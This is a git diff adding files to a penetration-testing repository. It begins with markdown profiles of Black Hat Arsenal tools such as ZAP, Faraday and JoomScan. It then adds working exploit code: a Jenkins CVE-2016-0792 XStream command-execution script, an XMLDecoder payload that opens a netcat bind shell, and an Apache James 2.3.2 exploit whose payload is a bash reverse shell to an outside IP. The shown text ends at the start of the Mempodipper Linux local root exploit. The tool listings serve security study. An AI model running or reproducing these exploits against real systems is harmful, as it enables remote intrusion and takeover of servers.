DBMS+* Suitable for Continuous Red Teaming (CART)+* Suitable for DevOps and DevSecOps+* Suitable for MLOps and MLSecOps++### Categories+* Vulnerability assessment+* Web AppSec++### Black Hat sessions+[](https://www.blackhat.com/us-24/arsenal/schedule/index.html#blackdagger-39274)++++### Code+https://github.com/ErdemOzgen/blackdagger++### Lead Developer(s)+* Mahmut Erdem Özgen - https://github.com/ErdemOzgen+* Ata Seren - https://github.com/ataseren+* Regaip Kurt - https://github.com/RegaipKURT++----++diff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/faraday.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/faraday.mdnew file mode 100644index 0000000..e43eba9--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/faraday.md@@ -0,0 +1,57 @@+# Faraday++### Description+Faraday®, a comprehensive platform for vulnerability management that simplifies your work automating scans and reports. A real-time collaborative environment that increases transparency, speed and efficiency for your audits and for your teams. This provides greater visibility and helps you to make smarter security investments and leverage your existing resources.++### Categories+* red-team+* vulnerability_assessment+* framework++### Black Hat sessions+++[](https://www.toolswatch.org/2017/02/the-black-hat-arsenal-asia-2017-great-line-up/)++[](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)++[](https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)++[](https://www.toolswatch.org/2016/03/black-hat-arsenal-asia-2016-speakers-line-up/)++[](https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/)++[](https://www.toolswatch.org/2015/10/black-hat-arsenal-europe-2015-line-up/)++[])](https://www.toolswatch.org/blackhat-arsenal-us-2011-archive/)++### Popularity++ToolsWatch Annual Best Free/Open Source Security Tool Survey:++[](https://www.toolswatch.org/2016/02/2015-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers)+++### Code+https://github.com/infobyte/faraday/++### Lead Developer(s)+ Francisco Amato - f-amato https://github.com/f-amato+ Federico Kirschbaum - fedek https://github.com/fedek+ Micaela Ranea - Micabot https://github.com/micabot+ Ezequiel - Ezequieltbh https://github.com/Ezequieltbh+ Leonardo Lazzaro - llazzaro https://github.com/llazzaro+ Matías Lang - sh4r3m4n https://github.com/sh4r3m4n+ Zoe Marino - WinnaZ https://github.com/WinnaZ++### Social Media+* [Company Website](https://www.faradaysec.com)+* [Twitter](https://twitter.com/faradaysec)+* [Youtube](https://www.youtube.com/channel/UCnHpyTi7zRQ9A4U4Ldc65YQ)+* [Blog](http://blog.infobytesec.com/)+* [Facebook](https://www.facebook.com/Infobytesec)+* [Google Plus](https://plus.google.com/102513496842154065650)+* [Likedin](https://www.linkedin.com/company/244720)+* [Vote Ideas](www.faradaysec.com/ideas)+----\ No newline at end of filediff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/intrigue.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/intrigue.mdnew file mode 100644index 0000000..e9c601b--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/intrigue.md@@ -0,0 +1,33 @@+# Intrigue Core - Asset Discovery++### Description+Intrigue Core is an attack surface discovery framework that discovers assets and vulnerabilities utilizing APIs and OSINT techniques.++### Code+https://github.com/intrigueio/intrigue-core++# Overview of the tool:+* Friendly web-based user interface & command line interface+* API-first design, enabling easy scripting+* Powerful built-in scan strategies to automate discovery+* Over 45 tasks and integrations+* Ability to export results in JSON and CSV++### Categories+* Vulnerability Assessment+* Penetration Testing+* Open Source Intelligence++### Presented At:+* [DEFCON 25 ReconVillage](http://reconvillage.org/attack-surface-discovery-with-intrigue/)+* [](https://www.blackhat.com/us-15/arsenal.html#intrigue) - USA++### Documentation+ * [Getting Started] http://intrigue.io/getting-started/++### Lead Developers+* Jonathan Cran - https://github.com/jcran++### Social Media+* [Official Website](https://intrigue.io/)+* [Twitter](https://twitter.com/intrigueio)diff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/mi-x.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/mi-x.mdnew file mode 100644index 0000000..aae8be6--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/mi-x.md@@ -0,0 +1,38 @@+# MI-X+++### Description++‘Am I Exploitable?’ is a python open source project that comes to meet the need of validating if your system is exploitable to specific vulnerabilities.+The project can help you understand whether you are exploitable to a specific vulnerability and explain to you what is the vulnerable component or invulnerable component in your system.+The project can create a graph that presents the validation flow according to the vulnerability checks we perform.+We want to create a community of researchers and programmers that can add vulnerability checks for new vulnerabilities or critical or famous vulnerabilities. Whenever a new vulnerability comes up, we can offer this service that helps people validate if they are exploitable or not.+In addition, the vulnerabilities checks we wrote so far, can be expanded with some checks we might have missed.+++### Categories++* Vulnerability assessment+++### Black Hat sessions++<img alt="blackhat-arsenal" src="https://github.com/toolswatch/badges/blob/master/arsenal/usa/2022.svg"/>+++### Code++[https://github.com/Rezilion/mi-x](https://github.com/Rezilion/mi-x)+++### Lead Developer(s)++[Yotam Perkal](https://twitter.com/pyotam2)+[Ofri Ouzan](https://twitter.com/ofri_ou)+++### Social Media++* [GitHub](https://github.com/Rezilion/mi-x)+* [Website](https://www.rezilion.com/blog/rezilion-releases-mi-x-a-new-open-source-vulnerability-validation-tool/)+* [Recording](https://www.youtube.com/watch?v=2FsnsJ0mr68)diff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/remote_method_guesser.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/remote_method_guesser.mdnew file mode 100644index 0000000..ea0e46b--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/remote_method_guesser.md@@ -0,0 +1,48 @@+# Remote Method Guesser++### Description++*remote-method-guesser* (*rmg*) is a command line utility written in *Java* and can be used to identify security+vulnerabilities on *Java RMI* endpoints. In the following you find a list with some of it's capabilities:++* List available *bound names* and their corresponding interface class names+* List codebase locations (if exposed by the remote server)+* Check for known vulnerabilities (enabled class loader, missing *JEP290*, *JEP290* bypass, localhost bypass)+* Identify existing remote methods by using a *bruteforce* (wordlist) approach+* Call remote methods with user specified arguments (no coding required)+* Call remote methods with *ysoserial gadgets* within the arguments+* Call remote methods with a client specified codebase (remote class loading attack)+* Perform *DGC* and *registry* calls with *ysoserial* gadgets or a client specified codebase+* Perform *bind*, *unbind* and *rebind* operations against a rmi registry+* Bypass registry filtering using [An Trinhs registry bypass](https://mogwailabs.de/de/blog/2020/02/an-trinhs-rmi-registry-bypass/)+* Enumerate the unmarshalling behavior of ``java.lang.String``+* Create Java code dynamically to invoke remote methods manually++### Categories++* Vulnerability assessment+* Exploitation+* Network attacks++### Black Hat sessions++[](https://www.blackhat.com/us-21/arsenal/schedule/#remote-method-guesser-a-java-rmi-vulnerability-scanner-24092)+++### Code++[https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)+++### Lead Developer(s)++[Tobias Neitzel](https://twitter.com/qtc_de)+++### Social Media++* [GitHub](https://github.com/qtc-de/remote-method-guesser)+* [Twitter](https://twitter.com/qtc_de)+* [Documentation](https://github.com/qtc-de/remote-method-guesser/tree/master/docs)+* [Slides](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)+* [Recording](https://youtu.be/t_aw1mDNhzI)diff --git a/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/trommel.md b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/trommel.mdnew file mode 100644index 0000000..a642bfd--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/vulnerability_assessment/trommel.md@@ -0,0 +1,40 @@+# TROMMEL++### Description+TROMMEL sifts through embedded device files to identify potential vulnerable indicators. <br />++TROMMEL identifies the following indicators related to:+* Secure Shell (SSH) key files+* Secure Socket Layer (SSL) key files+* Internet Protocol (IP) addresses+* Uniform Resource Locator (URL)+* email addresses+* shell scripts+* web server binaries+* configuration files+* database files+* specific binaries files (i.e. Dropbear, BusyBox, etc.)+* shared object library files+* web application scripting variables, and+* Android application package (APK) file permissions.++TROMMEL has also integrated [vFeed](https://vfeed.io/) which allows for further in-depth vulnerability analysis of identified indicators. <br />++TROMMEL was written with the intent to help with identifying indicators that may contain vulnerabilities found in firmware of embedded devices. <br/>++### Categories+* Vulnerability assessment++### Black Hat sessions++[](https://www.blackhat.com/us-18/arsenal/schedule/index.html#trommel---arsenal-theater-demo-10456)++### Code+https://github.com/CERTCC/trommel++### Lead Developer(s)+ Kyle O'Meara - SEI CERT/CC - https://github.com/CERTCC & https://github.com/komeara1++### Social Media+* [Twitter](https://twitter.com/cool_breeze26)+* [Company Website](https://www.sei.cmu.edu/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/webapp_security/jack.md b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/jack.mdnew file mode 100644index 0000000..8815872--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/jack.md@@ -0,0 +1,24 @@+# Jack++### Description+Jack is a web based ClickJacking PoC development assistance tool.+Jack makes use of static HTML and JavaScript to create a drag n drop environment to illustrate the impact of ClickJacking.++### Categories+* Webb Application Security+* Vulnerability assessment+* Phishing++### Black Hat sessions+[]( https://www.toolswatch.org/2015/10/black-hat-arsenal-europe-2015-line-up/)++### Code+https://github.com/sensepost/jack++### Lead Developer+ Chris Le Roy - SensePost https://github.com/sensepost++### Social Media+* [Twitter](https://twitter.com/brompwnie)+* [Company Website](https://sensepost.com/)+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/webapp_security/joomscan.md b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/joomscan.mdnew file mode 100644index 0000000..5d5a65f--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/joomscan.md@@ -0,0 +1,41 @@+# OWASP JoomScan++### Description++OWASP Joomla! Vulnerability Scanner (JoomScan) is an open source project, developed with the aim of automating the task of vulnerability detection and reliability assurance in Joomla CMS deployments. Implemented in Perl, this tool enables seamless and effortless scanning of Joomla installations, while leaving a minimal footprint with its lightweight and modular architecture. It not only detects known offensive vulnerabilities, but also is able to detect many misconfigurations and admin-level shortcomings that can be exploited by adversaries to compromise the system. Furthermore, OWASP JoomScan provides a user-friendly interface and compiles the final reports in both text and HTML formats for ease of use and minimization of reporting overheads.+<br>+OWASP JoomScan is included in Kali Linux distributions.++### WHY OWASP JOOMSCAN ?++Automated ...<br>+ *Version enumerator<br>+ *Vulnerability enumerator (based on version)<br>+ *Components enumerator (1209 most popular by default)<br>+ *Components vulnerability enumerator (based on version)(+1030 exploit)<br>+ *Firewall detector<br>+ *Reporting to Text & HTML output<br>+ *Finding common log files<br>+ *Finding common backup files<br>++### Black Hat sessions++[](http://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)+[](http://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++### Code++* [OWASP JoomScan](https://github.com/rezasp/joomscan)+* [OWASP PAGE](https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project)++### Lead Developer++Mohammad Reza Espargham - https://twitter.com/rezesp+<br>Ali Razmjoo - https://twitter.com/Ali_Razmjo0++### Social Media++* [Twitter](https://twitter.com/OWASP_JoomScan)+* [GitHub](https://github.com/rezasp)++diff --git a/Penetration Testing/Blackhat Arsenal Tools/webapp_security/owtf.md b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/owtf.mdnew file mode 100644index 0000000..66e711e--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/owtf.md@@ -0,0 +1,53 @@+# OWASP Offensive Web Testing Framework (OWTF)++### Description+OWASP OWTF is a project focused on penetration testing efficiency and alignment of security tests to security standards like the OWASP Testing Guide (v3 and v4), the OWASP Top 10, PTES and NIST so that pentesters will have more time to:++* See the big picture and think out of the box+* More efficiently find, verify and combine vulnerabilities+* Have time to investigate complex vulnerabilities like business logic/architectural flaws, etc.+* Perform more tactical/targeted fuzzing on seemingly risky areas+* Demonstrate true impact despite the short timeframes we are typically given to test++OWTF includes:+* A highly configurable plugin system+* A fast (the fastest Python MiTM proxy yet!) MiTM SSL proxy+* A pretty web interface+* An interactive report+* Full coverage for OWASP Testing Guide v3/v4, PTES, NIST, and CWE mappings+* Built-in integrations for Mozilla Zest and Plug-n-Hack standards+* REST API exposed to control and extend the functionality of OWTF++### Categories++* Web Application+* OWASP+* Pentest+* Vulnerability assessment++### Black Hat sessions++[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/owtf/owtf++### Lead Developers++- Abraham Aranguren (https://twitter.com/7a_)+- Bharadwaj Machiraju (https://twitter.com/tunnelshade_)+- Viyat Bhalodia (https://twitter.com/viyat)+++### Social Media++* [Twitter](https://twitter.com/owtfp)+* [Project homepage](http://owtf.github.io/)+* [IRC](http://webchat.freenode.net/?randomnick=1&channels=%23owtf&prompt=1&uio=MTE9MjM20f)+* [Wiki](https://www.owasp.org/index.php/OWASP_OWTF)+* [Slack](https://owasp.herokuapp.com) and join channel `#project-owtf`+* [User Documentation](http://docs.owtf.org/en/latest/)+* [Youtube channel](https://www.youtube.com/user/owtfproject)+* [Slideshare](http://www.slideshare.net/abrahamaranguren/presentations)+* [Blog](http://blog.7-a.org/search/label/OWTF)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/webapp_security/pymultitor.md b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/pymultitor.mdnew file mode 100644index 0000000..bcc9cd4--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/pymultitor.md@@ -0,0 +1,32 @@+# PyMultitor++### Description+Python Multi Threaded Tor Proxy,+Did you ever want to be at two different places at the same time?+When I asked myself this question, I actually started developing this solution in my mind.+While performing penetration tests there are often problems caused by security devices that block the "attacking" IP.+This really annoyed me, so I wrote a script to supply a solution for this problem.+With a large number of IP addresses performing the attacks, better results are guaranteed - especially when attempting attacks to bypass Web Application Firewalls, Brute-Force type attacks and many more.++[DigitalWhisper Article (Hebrew)] http://www.digitalwhisper.co.il/files/Zines/0x2E/DW46-3-PyMultitor.pdf+[Presentation] https://www.slideshare.net/tzanany/pymultitor-74222570++### Categories+* Web Application Security+* Pentest++### Black Hat sessions+[]( https://www.toolswatch.org/2017/02/the-black-hat-arsenal-asia-2017-great-line-up/)+[]( https://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+[]( https://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++### Code+https://github.com/realgam3/pymultitor++### Lead Developer+ Tomer Zait (RealGam3) - https://github.com/realgam3++### Social Media+* [Twitter](https://twitter.com/realgam3)+* [Website](http://realgame.co.il/)+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/webapp_security/threatplaybook.md b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/threatplaybook.mdnew file mode 100644index 0000000..2c4227d--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/threatplaybook.md@@ -0,0 +1,41 @@+# ThreatPlaybook++### Description+A (relatively) Unopinionated framework that faciliates Threat Modeling as Code married with Application Security Automation on a single Fabric.++ThreatPlaybook was born in we45, as a framework to capture Threat Models for our internal Projects (especially Pentests). We have built it with the following parameters in mind:+* Threat Models as Code: Codify Threat Models by Capturing User Stories => Abuser Stories => Threat Models/Scenarios and Test Cases in YAML files that can be parsed and processed by another system+* Capture Security Test Cases: Security Test Cases are descriptions of techniques used by security testers to test for specific vulnerabilities. These may include SAST, DAST tools, SCA tools, Reconnaissance tools and so on+* Leverage Security Automation: Inspired the Playbook style models of Ansible, Kubernetes, Metta and so on, we wanted to create framework that could amalgamate Threat Models, Test Cases and running of targeted Security Automation. We have used the Robot Framework to process the Threat Models and run the Security Automation Test Cases++### Categories++* Web Application+* OWASP+* Pentest+* Vulnerability Assessment+* Frameworks++### Black Hat sessions++[](https://www.blackhat.com/us-18/arsenal/schedule/index.html#threatplaybook-11697)+++### Code+https://github.com/we45/ThreatPlaybook++### Lead Developers++- Abhay Bhargav (https://www.twitter.com/abhaybhargav)+- Nithin Jois (https://twitter.com/BondiJois)+- Sharath Kumar Ramadas (https://twitter.com/sharathkramadas)+- Umar Farook (https://github.com/Umar-Farook-we45)++### Social Media++* [Twitter](https://twitter.com/we45)+* [Project homepage](https://we45.gitbook.io/threatplaybook/)+* [Wiki](https://we45.gitbook.io/threatplaybook/)+* [User Documentation](https://we45.gitbook.io/threatplaybook/)+* [Slideshare](https://www.slideshare.net/abhaybhargav)+* [Blog](https://www.we45.com/blog)diff --git a/Penetration Testing/Blackhat Arsenal Tools/webapp_security/wssat.md b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/wssat.mdnew file mode 100644index 0000000..c6958c9--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/wssat.md@@ -0,0 +1,74 @@+++# WSSAT - Web Service Security Assessment Tool++### Description+WSSAT is an open source web service security scanning tool which provides a dynamic environment to add, update or delete vulnerabilities by just editing its configuration files. This tool accepts WSDL address list as input file and for each service, it performs both static and dynamic tests against the security vulnerabilities. It also makes information disclosure controls.+With this tool, all web services could be analysed at once and the overall security assessment could be seen by the organization.++**Objectives of WSSAT are to allow organizations:**+* Perform their web services security analysis at once+* See overall security assessment with reports+* Harden their web services++# WSSAT 2.0+**REST API** scanning support was added with same dynamic vulnerability management environment philosophy as SOAP services. [ChangeLog](https://github.com/YalcinYolalan/WSSAT/blob/master/CHANGELOG.md)++**WSSAT’s main capabilities include:**++**Dynamic Testing:**+* Insecure Communication - SSL Not Used+* Unauthenticated Service Method+* Error Based SQL Injection+* Cross Site Scripting+* XML Bomb+* External Entity Attack - XXE+* XPATH Injection+* Verbose SOAP Fault Message++**Static Analysis:**+* Weak XML Schema: Unbounded Occurrences+* Weak XML Schema: Undefined Namespace+* Weak WS-SecurityPolicy: Insecure Transport+* Weak WS-SecurityPolicy: Insufficient Supporting Token Protection+* Weak WS-SecurityPolicy: Tokens Not Protected++**Information Leakage:**+* Server or technology information disclosure++**WSSAT’s main modules are:**+* Parser+* Vulnerabilities Loader+* Analyzer/Attacker+* Logger+* Report Generator++The main difference of WSSAT is to create a dynamic vulnerability management environment instead of embedding the vulnerabilities into the code.++_This project has been started as Term Project at Middle East Technical University (METU), Software Management master program._++### Categories++* Web Application+* Web Service+* Pentest+* Vulnerability assessment++### Black Hat sessions++[](https://www.blackhat.com/us-16/arsenal.html#web-service-security-assessment-tool-wssat)+[](https://www.blackhat.com/eu-16/arsenal.html#wssat-web-service-security-assessment-tool)++### Code+https://github.com/YalcinYolalan/WSSAT++### Lead Developers++- Mehmet Yalçın YOLALAN (https://www.linkedin.com/in/yalcinyolalan/)+- Salih TALAY (https://www.linkedin.com/in/salih-talay-49025238/)++### Social Media++* [Project homepage](http://yalcinyolalan.github.io/WSSAT/)++diff --git a/Penetration Testing/Blackhat Arsenal Tools/webapp_security/zap.md b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/zap.mdnew file mode 100644index 0000000..ebaf648--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/webapp_security/zap.md@@ -0,0 +1,47 @@+# ZAP++### Description++The OWASP Zed Attack Proxy (ZAP) is one of the world’s most popular free security tools and is actively maintained by hundreds of international volunteers. It can help you automatically find security vulnerabilities in your web applications while you are developing and testing your applications. Its also a great tool for experienced pentesters to use for manual security testing.++Some of the built in features include: Intercepting proxy server, Traditional and AJAX Web crawlers, Automated scanner, Passive scanner, Forced browsing, Fuzzer, WebSocket support, Scripting languages, and Plug-n-Hack support. It has a plugin-based architecture and an online ‘marketplace’ which allows new or updated features to be added. The GUI control panel is easy to use, and the API functions make it ideal for automation testing and continuous assessments in a SDLC.++### Categories++* Web Application+* OWASP+* Pentest+* Web API Security+* Vulnerability assessment++### Black Hat sessions++[](https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)+[](https://www.toolswatch.org/2014/09/lineup-for-the-blackhat-arsenal-europe-2014/)+[](https://www.toolswatch.org/2014/06/black-hat-usa-2014-arsenal-tools-speaker-list/)++### Popularity++ToolsWatch Annual Best Free/Open Source Security Tool Survey:++[](https://www.toolswatch.org/2013/12/2013-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2015/01/2014-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2016/02/2015-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers)++### Code++* [OWASP ZAP](https://github.com/zaproxy/zaproxy)+* [Extensions](https://github.com/zaproxy/zap-extensions)++### Lead Developer++Mozilla \ Simon Bennetts - https://github.com/psiinon++### Social Media++* [Twitter](https://twitter.com/zaproxy)+* [Blog](https://zaproxy.blogspot.co.uk)+* [GitHub](https://github.com/zaproxy)++diff --git a/Penetration Testing/exploits/.gitignore b/Penetration Testing/exploits/.gitignorenew file mode 100644index 0000000..86f98c8--- /dev/null+++ b/Penetration Testing/exploits/.gitignore@@ -0,0 +1,11 @@++### debian-ssh+##+misc/debian-ssh/common_keys/debian_ssh_dsa_1024_x86/+misc/debian-ssh/common_keys/debian_ssh_rsa_2048_x86/+misc/debian-ssh/toys/ubunturoot/+++###+##+#windows/http/HP-OpenView-NNM-7.5.1/exploit.pydiff --git a/Penetration Testing/exploits/README.md b/Penetration Testing/exploits/README.mdnew file mode 100644index 0000000..4cbcc31--- /dev/null+++ b/Penetration Testing/exploits/README.md@@ -0,0 +1,8 @@+All the stuff here without mention is __NOT__ my work.</br>+Contact: <https://twitter.com/am0nsec></br>+Website: <https://amonsec.net></br>++</br>+</br>+ʕ•͡ᴥ•ʔ ʕ•͡ᴥ•ʔ ʕ•͡ᴥ•ʔ+diff --git a/Penetration Testing/exploits/java/jenkins-1.645/cve-2016-0792.py b/Penetration Testing/exploits/java/jenkins-1.645/cve-2016-0792.pynew file mode 100644index 0000000..85ce977--- /dev/null+++ b/Penetration Testing/exploits/java/jenkins-1.645/cve-2016-0792.py@@ -0,0 +1,47 @@+#!/usr/bin/python+import requests+import sys++s = requests.Session()+url = "http://ptl-cc61ae0c-dbac3e63.libcurl.so/createItem?name=offsec"++cmd = raw_input('cmd> ')+splitted = ""+for x in cmd.split(' '):+ splitted += "<string>{}</string>".format(x)++exploit = '''+<map>+ <entry>+ <groovy.util.Expando>+ <expandoProperties>+ <entry>+ <string>hashCode</string>+ <org.codehaus.groovy.runtime.MethodClosure>+ <delegate class="groovy.util.Expando"/>+ <owner class="java.lang.ProcessBuilder">+ <command>+ {}+ </command>+ </owner>+ <method>start</method>+ </org.codehaus.groovy.runtime.MethodClosure>+ </entry>+ </expandoProperties>+ </groovy.util.Expando>+ <int>1</int>+ </entry>+</map>+'''.format(splitted)++header= {+ 'Content-Type': 'application/xml'+}++resp = s.post(url, data=exploit, headers=header)+if resp.status_code == 500:+ print 'Code successfully executed!'+else:+ print 'Ouups something goes wrong'+ sys.exit(1)+diff --git a/Penetration Testing/exploits/java/xmldecoder/exploit.xml b/Penetration Testing/exploits/java/xmldecoder/exploit.xmlnew file mode 100644index 0000000..3073349--- /dev/null+++ b/Penetration Testing/exploits/java/xmldecoder/exploit.xml@@ -0,0 +1,27 @@+<?xml version="1.0" encoding="UTF-8"?>+<java version="1.7.0_111" class="java.beans.XMLDecoder">+ <object class="java.lang.Runtime" method="getRuntime">+ <void method="exec">+ <array class="java.lang.String" length="6">+ <void index="0">+ <string>/usr/bin/nc</string>+ </void>+ <void index="1">+ <string>-l</string>+ </void>+ <void index="2">+ <string>-p</string>+ </void>+ <void index="3">+ <string>9999</string>+ </void>+ <void index="4">+ <string>-e</string>+ </void>+ <void index="5">+ <string>/bin/sh</string>+ </void>+ </array>+ </void>+ </object>+</java>diff --git a/Penetration Testing/exploits/java/xmldecoder/signed.xml b/Penetration Testing/exploits/java/xmldecoder/signed.xmlnew file mode 100644index 0000000..89a3986--- /dev/null+++ b/Penetration Testing/exploits/java/xmldecoder/signed.xml@@ -0,0 +1,18 @@+<java version="1.7.0_111" class="java.beans.XMLDecoder">+<object class="models.CTFSignature" id="CTFSignature0">+<void class="models.CTFSignature" method="getField">+<string>hash</string>+<void method="set">+<object idref="CTFSignature0"/>+<string>56bedbe72d9db37d85ef2cc7984c6240c175b8b1</string>+</void>+</void>+<void class="models.CTFSignature" method="getField">+<string>sig</string>+<void method="set">+<object idref="CTFSignature0"/>+<string>839b374354719884206c96d8655f2ec9556951ce</string>+</void>+</void>+</object>+</java>diff --git a/Penetration Testing/exploits/linux/http/ApacheJamesServer-2.3.2/README.md b/Penetration Testing/exploits/linux/http/ApacheJamesServer-2.3.2/README.mdnew file mode 100644index 0000000..12cd4f6--- /dev/null+++ b/Penetration Testing/exploits/linux/http/ApacheJamesServer-2.3.2/README.md@@ -0,0 +1,10 @@+Apache James Server 2.3.2 - Remote Command Execution+====================================================++EDB-ID: 35513</br>+Authors: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec</br>+Published: 2014-12-10</br>+CVE: N/A</br>+Type: Remote</br>+Platform: Linux</br>+Link: <https://www.exploit-db.com/exploits/35513/></br>diff --git a/Penetration Testing/exploits/linux/http/ApacheJamesServer-2.3.2/apache_james_2-3-2.py b/Penetration Testing/exploits/linux/http/ApacheJamesServer-2.3.2/apache_james_2-3-2.pynew file mode 100644index 0000000..710603a--- /dev/null+++ b/Penetration Testing/exploits/linux/http/ApacheJamesServer-2.3.2/apache_james_2-3-2.py@@ -0,0 +1,74 @@+#!/usr/bin/python+#+# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution+# Date: 16\10\2014+# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec+# Vendor Homepage: http://james.apache.org/server/+# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip+# Version: Apache James Server 2.3.2+# Tested on: Ubuntu, Debian+# Info: This exploit works on default installation of Apache James Server 2.3.2+# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d++import socket+import sys+import time++# specify payload+payload = '/bin/bash -i >& /dev/tcp/10.11.0.147/443 0>&1 ' # to exploit on any user+#payload = '[ "$(id -u)" == "0" ]' # to exploit only on root+# credentials to James Remote Administration Tool (Default - root/root)+user = 'root'+pwd = 'root'++if len(sys.argv) != 2:+ sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])+ sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])+ sys.exit(1)++ip = sys.argv[1]++def recv(s):+ s.recv(1024)+ time.sleep(0.2)++try:+ print "[+]Connecting to James Remote Administration Tool..."+ s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)+ s.connect((ip,4555))+ s.recv(1024)+ s.send(user + "\n")+ s.recv(1024)+ s.send(pwd + "\n")+ s.recv(1024)+ print "[+]Creating user..."+ s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")+ s.recv(1024)+ s.send("quit\n")+ s.close()++ print "[+]Connecting to James SMTP server..."+ s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)+ s.connect((ip,25))+ s.send("ehlo [email protected]\r\n")+ recv(s)+ print "[+]Sending payload..."+ s.send("mail from: <'@team.pl>\r\n")+ recv(s)+ # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found+ s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")+ recv(s)+ s.send("data\r\n")+ recv(s)+ s.send("From: [email protected]\r\n")+ s.send("\r\n")+ s.send("'\n")+ s.send(payload + "\n")+ s.send("\r\n.\r\n")+ recv(s)+ s.send("quit\r\n")+ recv(s)+ s.close()+ print "[+]Done! Payload will be executed once somebody logs in."+except:+ print "Connection failed."diff --git a/Penetration Testing/exploits/linux/privs/Mempodipper/README.md b/Penetration Testing/exploits/linux/privs/Mempodipper/README.mdnew file mode 100644index 0000000..7693203--- /dev/null+++ b/Penetration Testing/exploits/linux/privs/Mempodipper/README.md@@ -0,0 +1,10 @@+Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Privilege Escalation+==========================================================================================++EDB-ID: 18411</br>+Author: zx2c4</br>+Published: 2012-01-23</br>+CVE: CVE-2012-0056 </br>+Type: Local</br>+Platform: Linux</br>+Link: <https://www.exploit-db.com/exploits/18411/></br>diff --git a/Penetration Testing/exploits/linux/privs/Mempodipper/mempodipper.c b/Penetration Testing/exploits/linux/privs/Mempodipper/mempodipper.cnew file mode 100755index 0000000..7afb237--- /dev/null+++ b/Penetration Testing/exploits/linux/privs/Mempodipper/mempodipper.c@@ -0,0 +1,227 @@+/*+Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c+Blog post about it is here: http://blog.zx2c4.com/749+EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/++# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit+# Date: Jan 21, 2012+# Author: zx2c4+# Tested on: Gentoo, Ubuntu+# Platform: Linux+# Category: Local+# CVE-2012-0056+++ * Mempodipper+ * by zx2c4+ *+ * Linux Local Root Exploit+ *+ * Rather than put my write up here, per usual, this time I've put it+ * in a rather lengthy blog post: http://blog.zx2c4.com/749+ *+ * Enjoy.+ *+ * - zx2c4+ * Jan 21, 2012+ *+ * CVE-2012-0056+ */++#define _LARGEFILE64_SOURCE+#include 